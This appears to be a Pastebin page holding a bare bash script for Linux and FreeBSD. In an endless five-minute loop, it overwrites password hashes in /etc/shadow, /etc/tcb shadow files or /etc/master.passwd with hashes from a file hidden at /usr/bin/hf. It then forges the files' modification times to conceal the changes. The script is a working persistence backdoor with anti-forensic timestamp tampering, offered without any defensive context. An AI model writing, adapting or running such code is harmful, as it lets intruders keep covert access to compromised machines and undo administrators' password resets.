Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/bin/bash
- hf="/usr/bin/hf"
- replace_string()
- {
- if [ "$pass" != `echo $hfl | awk -F: '{print $2}'` ]; then
- line=`echo $hfl`
- fi
- }
- date_linux()
- {
- ls $1 --full-time --time-style=+%y%m%d%H%M | awk '{print $6}'
- }
- date_bsd()
- {
- date=`ls -lT $1`
- year=`echo $date | awk '{print $9}'`
- month=`echo $date | awk '{print $6}'`
- day=`echo $date | awk '{print $7}'`
- time=`echo $date | awk '{print $8}'`
- time=`echo $time | awk -F: '{print $1$2}'`
- case $month in
- Jan) month="01" ;;
- янв) month="01" ;;
- Feb) month="02" ;;
- фев) month="02" ;;
- Mar) month="03" ;;
- мар) month="03" ;;
- Apr) month="04" ;;
- апр) month="04" ;;
- May) month="05" ;;
- май) month="05" ;;
- Jun) month="06" ;;
- июн) month="06" ;;
- Jul) month="07" ;;
- июл) month="07" ;;
- Aug) month="08" ;;
- авг) month="08" ;;
- Sep) month="09" ;;
- сен) month="09" ;;
- Oct) month="10" ;;
- окт) month="10" ;;
- Nov) month="11" ;;
- ноя) month="11" ;;
- Dec) month="12" ;;
- дек) month="12" ;;
- esac
- len=${#day}
- if [ "$len" = "1" ]; then day=`echo 0$day`
- fi
- echo $year$month$day$time
- }
- big_job()
- {
- while read line
- do
- while read hfl
- do
- user=`echo $line | awk -F: '{print $1}'`
- pass=`echo $line | awk -F: '{print $2}'`
- if [ "$user" = `echo $hfl | awk -F: '{print $1}'` ]; then
- replace_string
- fi
- done<$hf
- echo $line>>pass.txt
- done<$f
- mv ./pass.txt $f
- touch -t$date $f
- }
- case `uname` in
- Linux)
- while true; do
- f="/etc/shadow"
- if `test -d /etc/tcb`;
- then
- while read hfl
- do
- user=`echo $hfl | awk -F: '{print $1}'`
- if `test -d /etc/tcb/$user`; then
- f=`echo /etc/tcb/$user/shadow`
- date=`date_linux $f`
- while read line
- do
- pass=`echo $line | awk -F: '{print $2}'`
- replace_string
- echo $line>pass.txt
- done<$f
- mv ./pass.txt $f
- chmod 640 $f
- chown $user:auth $f
- touch -t$date $f
- fi
- done<$hf
- else
- date=`date_linux $f`
- big_job
- fi
- sleep 5m
- done
- ;;
- FreeBSD)
- while true; do
- f="/etc/master.passwd"
- date=`date_bsd $f`
- big_job
- pwd_mkdb $f
- sleep 5m
- done
- ;;
- esac
- exit 0
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement